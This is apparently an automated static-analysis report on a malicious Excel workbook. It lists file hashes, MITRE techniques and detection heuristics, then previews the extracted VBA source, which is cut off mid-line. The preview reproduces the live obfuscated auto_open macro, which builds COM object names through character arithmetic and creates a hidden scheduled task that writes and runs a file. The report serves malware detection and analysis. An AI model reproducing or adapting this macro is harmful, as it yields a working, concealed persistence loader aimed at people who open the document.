Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 275a86b7c8bd92c7…

MALICIOUS

Office (OOXML)

254.5 KB Created: 2020-03-10 17:30:39 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-08-20
MD5: 4e9b5a49c812c413e747ee852594a0be SHA-1: 594d232238936b9a8765540ac292ee239c84d75d SHA-256: 275a86b7c8bd92c7c4cacc240b14ca1fadc054a647f086dc16a7bdc538154f45
178 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing a highly obfuscated VBA macro, specifically an auto-exec loader. This loader utilizes CreateObject and execution sinks, indicating an intent to download and execute a second-stage payload. The presence of hidden sheets further suggests an attempt to conceal malicious activity. While the exact payload is not discernible, the techniques employed are consistent with macro-based malware delivery.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    ccc8601433d74214f5013f28a0a0991b: On Error GoTo 0: Set a211ac15ab97681ade50bd1aa4a00916 = CreateObject(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 15), 1)) & Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Right(Left(fff1a755ab7f7f89adf85eab4a800915, 3), 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 1)) + 1) & Left(Mid(fff1a755ab7f7f89adf85eab4a800915, 11, 2), 1) & Chr …
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ccc8601433d74214f5013f28a0a0991b: On Error GoTo 0: Set a211ac15ab97681ade50bd1aa4a00916 = CreateObject(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 15), 1)) & Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Right(Left(fff1a755ab7f7f89adf85eab4a800915, 3), 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 1)) + 1) & Left(Mid(fff1a755ab7f7f89adf85eab4a800915, 11, 2), 1) & Chr …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open(): Call bbf1a755ab7f7f89adf95e1ad2fe4a800915(1, 0): Call bbf1a755ab7f7f89adf95e1ad2fe4a800915(0, 1): End Sub
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 10 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/2000/svg In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/xlinkIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 103573 bytes
SHA-256: b33508a600c10086233180c6ef5e63b3c0b39d154eea99ac3fc9d266e15f0acd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Const b211ac55ab7f689adf50ad1aa4a831916 = 8: Const b211ac55ab7f689adf50ad1aa4a832916 = 4: Const b211ac55ab7f689adf50ad1aa4a833916 = 32: Dim b211ac55ab7f689adf50ad1aa4a802916(30): Dim b211ac55ab7f689adf50ad1aa4a803916(30)
Function b211ac55ab7f689adf50ad1aa4a804916(b211ac55ab7f689adf50ad1aa4a805916, b211ac55ab7f689adf50ad1aa4a806916)
If b211ac55ab7f689adf50ad1aa4a806916 = 0 Then
b211ac55ab7f689adf50ad1aa4a804916 = b211ac55ab7f689adf50ad1aa4a805916: Exit Function
ElseIf b211ac55ab7f689adf50ad1aa4a806916 = 31 Then
If b211ac55ab7f689adf50ad1aa4a805916 And 1 Then
b211ac55ab7f689adf50ad1aa4a804916 = &H80000000:
Else: b211ac55ab7f689adf50ad1aa4a804916 = 0: End If: Exit Function: ElseIf b211ac55ab7f689adf50ad1aa4a806916 < 0 Or b211ac55ab7f689adf50ad1aa4a806916 > 31 Then Err.Raise 6: End If
If (b211ac55ab7f689adf50ad1aa4a805916 And b211ac55ab7f689adf50ad1aa4a803916(31 - b211ac55ab7f689adf50ad1aa4a806916)) Then
b211ac55ab7f689adf50ad1aa4a804916 = ((b211ac55ab7f689adf50ad1aa4a805916 And b211ac55ab7f689adf50ad1aa4a802916(31 - (b211ac55ab7f689adf50ad1aa4a806916 + 1))) * b211ac55ab7f689adf50ad1aa4a803916(b211ac55ab7f689adf50ad1aa4a806916)) Or &H80000000:
Else: b211ac55ab7f689adf50ad1aa4a804916 = ((b211ac55ab7f689adf50ad1aa4a805916 And b211ac55ab7f689adf50ad1aa4a802916(31 - b211ac55ab7f689adf50ad1aa4a806916)) * b211ac55ab7f689adf50ad1aa4a803916(b211ac55ab7f689adf50ad1aa4a806916)): End If: End Function
Function b211ac55ab7f689adf50ad1aa4a807916(b211ac55ab7f689adf50ad1aa4a805916, b211ac55ab7f689adf50ad1aa4a806916)
If b211ac55ab7f689adf50ad1aa4a806916 = 0 Then
b211ac55ab7f689adf50ad1aa4a807916 = b211ac55ab7f689adf50ad1aa4a805916: Exit Function
ElseIf b211ac55ab7f689adf50ad1aa4a806916 = 31 Then
If b211ac55ab7f689adf50ad1aa4a805916 And &H80000000 Then
b211ac55ab7f689adf50ad1aa4a807916 = 1:
Else: b211ac55ab7f689adf50ad1aa4a807916 = 0: End If: Exit Function:
ElseIf b211ac55ab7f689adf50ad1aa4a806916 < 0 Or b211ac55ab7f689adf50ad1aa4a806916 > 31 Then Err.Raise 6: End If: b211ac55ab7f689adf50ad1aa4a807916 = (b211ac55ab7f689adf50ad1aa4a805916 And &H7FFFFFFE) \ b211ac55ab7f689adf50ad1aa4a803916(b211ac55ab7f689adf50ad1aa4a806916)
If (b211ac55ab7f689adf50ad1aa4a805916 And &H80000000) Then
b211ac55ab7f689adf50ad1aa4a807916 = (b211ac55ab7f689adf50ad1aa4a807916 Or (&H40000000 \ b211ac55ab7f689adf50ad1aa4a803916(b211ac55ab7f689adf50ad1aa4a806916 - 1))): End If: End Function
Function b211ac55ab7f689adf50ad1aa4a808916(b211ac55ab7f689adf50ad1aa4a805916, b211ac55ab7f689adf50ad1aa4a806916): b211ac55ab7f689adf50ad1aa4a808916 = b211ac55ab7f689adf50ad1aa4a804916(b211ac55ab7f689adf50ad1aa4a805916, b211ac55ab7f689adf50ad1aa4a806916) Or b211ac55ab7f689adf50ad1aa4a807916(b211ac55ab7f689adf50ad1aa4a805916, (32 - b211ac55ab7f689adf50ad1aa4a806916)): End Function
Function b211ac55ab7f689adf50ad1aa4a821916(b211ac55ab7f689adf50ad1aa4a830916): Dim b211ac55ab7f689adf50ad1aa4a822916: Dim b211ac55ab7f689adf50ad1aa4a823916: Dim b211ac55ab7f689adf50ad1aa4a824916(): Dim b211ac55ab7f689adf50ad1aa4a825916: Dim b211ac55ab7f689adf50ad1aa4a826916: Dim b211ac55ab7f689adf50ad1aa4a827916: Const b211ac55ab7f689adf50ad1aa4a828916 = 512: Const b211ac55ab7f689adf50ad1aa4a829916 = 448: b211ac55ab7f689adf50ad1aa4a822916 = Len(b211ac55ab7f689adf50ad1aa4a830916): b211ac55ab7f689adf50ad1aa4a823916 = (((b211ac55ab7f689adf50ad1aa4a822916 + ((b211ac55ab7f689adf50ad1aa4a828916 - b211ac55ab7f689adf50ad1aa4a829916) \ b211ac55ab7f689adf50ad1aa4a831916)) \ (b211ac55ab7f689adf50ad1aa4a828916 \ b211ac55ab7f689adf50ad1aa4a831916)) + 1) * (b211ac55ab7f689adf50ad1aa4a828916 \ b211ac55ab7f689adf50ad1aa4a833916): ReDim b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a823916 - 1): b211ac55ab7f689adf50ad1aa4a825916 = 0: b211ac55ab7f689adf50ad1aa4a826916 = 0:
Do Until b211ac55ab7f689adf50ad1aa4a826916 >= b211ac55ab7f689adf50ad1aa4a822916: b211ac55ab7f689adf50ad1aa4a827916 = b211ac55ab7f689adf50ad1aa4a826916 \ b211ac55ab7f689adf50ad1aa4a832916: b211ac55ab7f689adf50ad1aa4a825916 = (b211ac55ab7f689adf50ad1aa4a826916 Mod b211ac55ab7f689adf50ad1aa4a832916) * b211ac55ab7f689adf50ad1aa4a831916: b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a827916) = b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a827916) Or b211ac55ab7f689adf50ad1aa4a804916(Asc(Mid(b211ac55ab7f689adf50ad1aa4a830916, b211ac55ab7f689adf50ad1aa4a826916 + 1, 1)), b211ac55ab7f689adf50ad1aa4a825916): b211ac55ab7f689adf50ad1aa4a826916 = b211ac55ab7f689adf50ad1aa4a826916 + 1: Loop: b211ac55ab7f689adf50ad1aa4a827916 = b211ac55ab7f689adf50ad1aa4a826916 \ b211ac55ab7f689adf50ad1aa4a832916: b211ac55ab7f689adf50ad1aa4a825916 = (b211ac55ab7f689adf50ad1aa4a826916 Mod b211ac55ab7f689adf50ad1aa4a832916) * b211ac55ab7f689adf50ad1aa4a831916
b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a827916) = b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a827916) Or b211ac55ab7f689adf50ad1aa4a804916(&H80, b211ac55ab7f689adf50ad1aa4a825916): b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a823916 - 2) = b211ac55ab7f689adf50ad1aa4a804916(b211ac55ab7f689adf50ad1aa4a822916, 3): b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a823916 - 1) = b211ac55ab7f689adf50ad1aa4a807916(b211ac55ab7f689adf50ad1aa4a822916, 29): b211ac55ab7f689adf50ad1aa4a821916 = b211ac55ab7f689adf50ad1aa4a824916: End Function
Sub auto_open(): Call bbf1a755ab7f7f89adf95e1ad2fe4a800915(1, 0): Call bbf1a755ab7f7f89adf95e1ad2fe4a800915(0, 1): End Sub
Function bbf1a755ab7f7f89adf95e1ad2fe4a800915(b211ac55ab7f689adf50ad1aa4a800916, d211af55ab7f7689adf950ad2ab4a800916, Optional a211ac15ab97681ade50bd1aa4a00912 = 0) As String: fff1a755ab7f7f89adf85eab4a800915 = "": fff1a755ab7f7f89adf95eab4a800915 = "_try[bhmrwxy]": On Error GoTo b211ac55ab7f689adf50ad1aa4a80936: fff1a755ab7f7f89adf95eab4a800915 = fff1a755ab7f7f89adf95eab4a800915 & Mid(fff1a755ab7f7f89adf95eab4a800915, InStr(fff1a755ab7f7f89adf95eab4a800915, Chr(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 6, 1)) - 1)), 1):
b211ac55ab7f689adf50ad1aa4a800926: On Error GoTo 0
If b211ac55ab7f689adf50ad1aa4a800916 = 1 And d211af55ab7f7689adf950ad2ab4a800916 = a211ac15ab97681ade50bd1aa4a00912 Then
If Not Sheets(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 27), 2) & Right(Left(fff1a755ab7f7f89adf95eab4a800915, 4), 3) & Left(Str(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 3, 1))), 1) & Right(Left(fff1a755ab7f7f89adf95eab4a800915, 25), 1) & Right(Left(fff1a755ab7f7f89adf95eab4a800915, ((Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 10), 1)) - 10) / 2)), 3)).Range(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 27), 1) & Trim(Str(b211ac55ab7f689adf50ad1aa4a800916))).Value = "" Then
For b211ac55ab7f689adf50ad1aa4a847916 = 0 To 12: fff1a755ab7f7f89adf85eab4a800915 = fff1a755ab7f7f89adf85eab4a800915 & LCase(Chr((Asc(Space(1)) + b211ac55ab7f689adf50ad1aa4a847916) * 2 + 1)): Next: On Error GoTo bbb9681439d74414f5017f28a0a0991b: fff1a755ab7f7f89adf85eab4a800915 = fff1a755ab7f7f89adf85eab4a800915 & Mid(fff1a755ab7f7f89adf85eab4a800915, InStr(fff1a755ab7f7f89adf85eab4a800915, Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 6, 1)) - 1)), 1)
ccc8601433d74214f5013f28a0a0991b: On Error GoTo 0: Set a211ac15ab97681ade50bd1aa4a00916 = CreateObject(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 15), 1)) & Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Right(Left(fff1a755ab7f7f89adf85eab4a800915, 3), 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 1)) + 1) & Left(Mid(fff1a755ab7f7f89adf85eab4a800915, 11, 2), 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 10, 1)) - 7) & Mid(fff1a755ab7f7f89adf85eab4a800915, 3, 1) & Chr(Asc(Right(Left(fff1a755ab7f7f89adf85eab4a800915, 14), 1)) - 3) & UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 15), 1)) & Mid(fff1a755ab7f7f89adf85eab4a800915, 3, 1) & Chr(Asc(Mid(Left(fff1a755ab7f7f89adf85eab4a800915, 13), 10, 1)) - 1) & Chr(Asc(Mid(Left(fff1a755ab7f7f89adf85eab4a800915, 13), 10, 1)) + 3) & Mid(fff1a755ab7f7f89adf85eab4a800915, 5, 1) & _
Left(Right(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915) - 1), 2)): Call a211ac15ab97681ade50bd1aa4a00916.Connect: Set b211ac18ab97681a0e50bd1aa4a00916 = a211ac15ab97681ade50bd1aa4a00916.GetFolder(Chr(CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 2)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 2)))): Set c211ac1aab97681a0e50bd1ba4a0f916 = a211ac15ab97681ade50bd1aa4a00916.NewTask(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - CInt(StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 17, 2)))): Set d211ac1aeb97681a0e5cbd1ba4adf916 = c211ac1aab97681a0e50bd1ba4a0f916.Settings: d211ac1aeb97681a0e5cbd1ba4adf916.Enabled = (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): d211ac1aeb97681a0e5cbd1ba4adf916.StartWhenAvailable = (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - _
Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): d211ac1aeb97681a0e5cbd1ba4adf916.RunOnlyIfNetworkAvailable = (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): d211ac1aeb97681a0e5cbd1ba4adf916.StopIfGoingOnBatteries = (Not Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): d211ac1aeb97681a0e5cbd1ba4adf916.DisallowStartIfOnBatteries = (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): d211ac1aeb97681a0e5cbd1ba4adf916.Hidden = (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): Set e211fc1aeb9768140e5cbd18a4adf916 = _
c211ac1aab97681a0e50bd1ba4a0f916.Triggers.Create(CInt(StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 17, 2))) - Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) + 2): f251fc1aeb9788140e5cbd28a4adf916 = DateAdd(Chr(CInt(StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 17, 2))) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915) - 9, 1))), Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)), Now): aa51ff1aeb9788740e5cbd28a3adf916 = Year(f251fc1aeb9788140e5cbd28a4adf916) & Chr(Asc(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Format(Month(f251fc1aeb9788140e5cbd28a4adf916), Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1))))) & Chr(Asc(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1)) + _
CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Format(Day(f251fc1aeb9788140e5cbd28a4adf916), Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1))))) & UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 10, 1)) + 1)) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1)))) & Chr(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Mid(fff1a755ab7f7f89adf85eab4a800915, 16, 1) & _
Chr(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1)))): e211fc1aeb9768140e5cbd18a4adf916.StartBoundary = aa51ff1aeb9788740e5cbd28a3adf916: e211fc1aeb9768140e5cbd18a4adf916.DaysInterval = Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1): e211fc1aeb9768140e5cbd18a4adf916.Repetition.Interval = UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 8, 1)) + 1)) & UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 10, 1)) + 1)) & Mid(fff1a755ab7f7f89adf85eab4a800915, 16, 1) & UCase(Mid(fff1a755ab7f7f89adf85eab4a800915, 7, 1)): e211fc1aeb9768140e5cbd18a4adf916.Repetition.Duration = UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 8, 1)) + 1)) & _
Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1) & UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 3, 1)) - 1)): e211fc1aeb9768140e5cbd18a4adf916.Enabled = (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): Set bb51ff1aebd788740e7cbd28a3ad9917 = c211ac1aab97681a0e50bd1ba4a0f916.Actions.Create(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - CInt(StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 17, 2)))):
If bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 19, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, 0) = "" Then
GoTo ddd1641463d78214f9010ff8a0a0991b: End If: Set cc71ff1a4bd78874057cbd28a3ab9917 = CreateObject(bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 19, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, 0)): Set dd91ff1a4bd748740571bd28a3a0991b = cc71ff1a4bd78874057cbd28a3ab9917.GetSpecialFolder(Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))):
If Not cc71ff1a4bd78874057cbd28a3ab9917.FileExists(dd91ff1a4bd748740571bd28a3a0991b & Chr(CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 2)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 2))) & bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(Trim(Str(b211ac55ab7f689adf50ad1aa4a800916)) & Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1)) - 1, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4)) Then
Set ee01ff1a44d7481405b1ad28a0a0991b = CreateObject(bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2) + 2 - CInt(StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 2)))), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, 0)): dd91ff1a4bd748740571bd28a3a0991b = ee01ff1a44d7481405b1ad28a0a0991b.expandEnvironmentStrings(bbf1a755ab7f7f89adf95e1ad2fe4a800915(4, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, 1)): fff1a81b44d744140501ad28a0a0991b = dd91ff1a4bd748740571bd28a3a0991b & bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, b211ac55ab7f689adf50ad1aa4a800916)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, b211ac55ab7f689adf50ad1aa4a800916)))) - 6, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, b211ac55ab7f689adf50ad1aa4a800916)) - _
Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, b211ac55ab7f689adf50ad1aa4a800916)))) - 4, b211ac55ab7f689adf50ad1aa4a800916): Set aaa1681479d74414f501af28a0a0991b = cc71ff1a4bd78874057cbd28a3ab9917.CreateTextFile(fff1a81b44d744140501ad28a0a0991b, (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, b211ac55ab7f689adf50ad1aa4a800916)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, b211ac55ab7f689adf50ad1aa4a800916)))))): aaa1681479d74414f501af28a0a0991b.Write LCase(Replace(bbf1a755ab7f7f89adf95e1ad2fe4a800915(b211ac55ab7f689adf50ad1aa4a800916 + 4, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, b211ac55ab7f689adf50ad1aa4a800916)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, b211ac55ab7f689adf50ad1aa4a800916)))) - b211ac55ab7f689adf50ad1aa4a800916 * 5), """""", """")): aaa1681479d74414f501af28a0a0991b.Close: bb51ff1aebd788740e7cbd28a3ad9917.Path = bbf1a755ab7f7f89adf95e1ad2fe4a800915((CInt(StrReverse(Asc(Right _
(fff1a755ab7f7f89adf85eab4a800915, b211ac55ab7f689adf50ad1aa4a800916)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, b211ac55ab7f689adf50ad1aa4a800916)))) - 4) / (1 + b211ac55ab7f689adf50ad1aa4a800916), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, b211ac55ab7f689adf50ad1aa4a800916)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, b211ac55ab7f689adf50ad1aa4a800916): bb51ff1aebd788740e7cbd28a3ad9917.Arguments = Replace(bbf1a755ab7f7f89adf95e1ad2fe4a800915((Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1))), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, 2) & fff1a81b44d744140501ad28a0a0991b & bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(Left(Replace(fff1a755ab7f7f89adf85eab4a800915, Left(fff1a755ab7f7f89adf85eab4a800915, 16), ""), 2)) - Asc(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, _
Len(fff1a755ab7f7f89adf85eab4a800915) - 2), 1))) + b211ac55ab7f689adf50ad1aa4a800916, CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - CInt(Replace(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 11), 3), Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 1), "")), (Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)))) & bbf1a755ab7f7f89adf95e1ad2fe4a800915(b211ac55ab7f689adf50ad1aa4a800916, CInt(Left(Replace(fff1a755ab7f7f89adf85eab4a800915, Left(fff1a755ab7f7f89adf85eab4a800915, 16), ""), 2)) - Asc(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915) - (Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)))), 1))), a211ac15ab97681ade50bd1aa4a00912) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), (Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - _
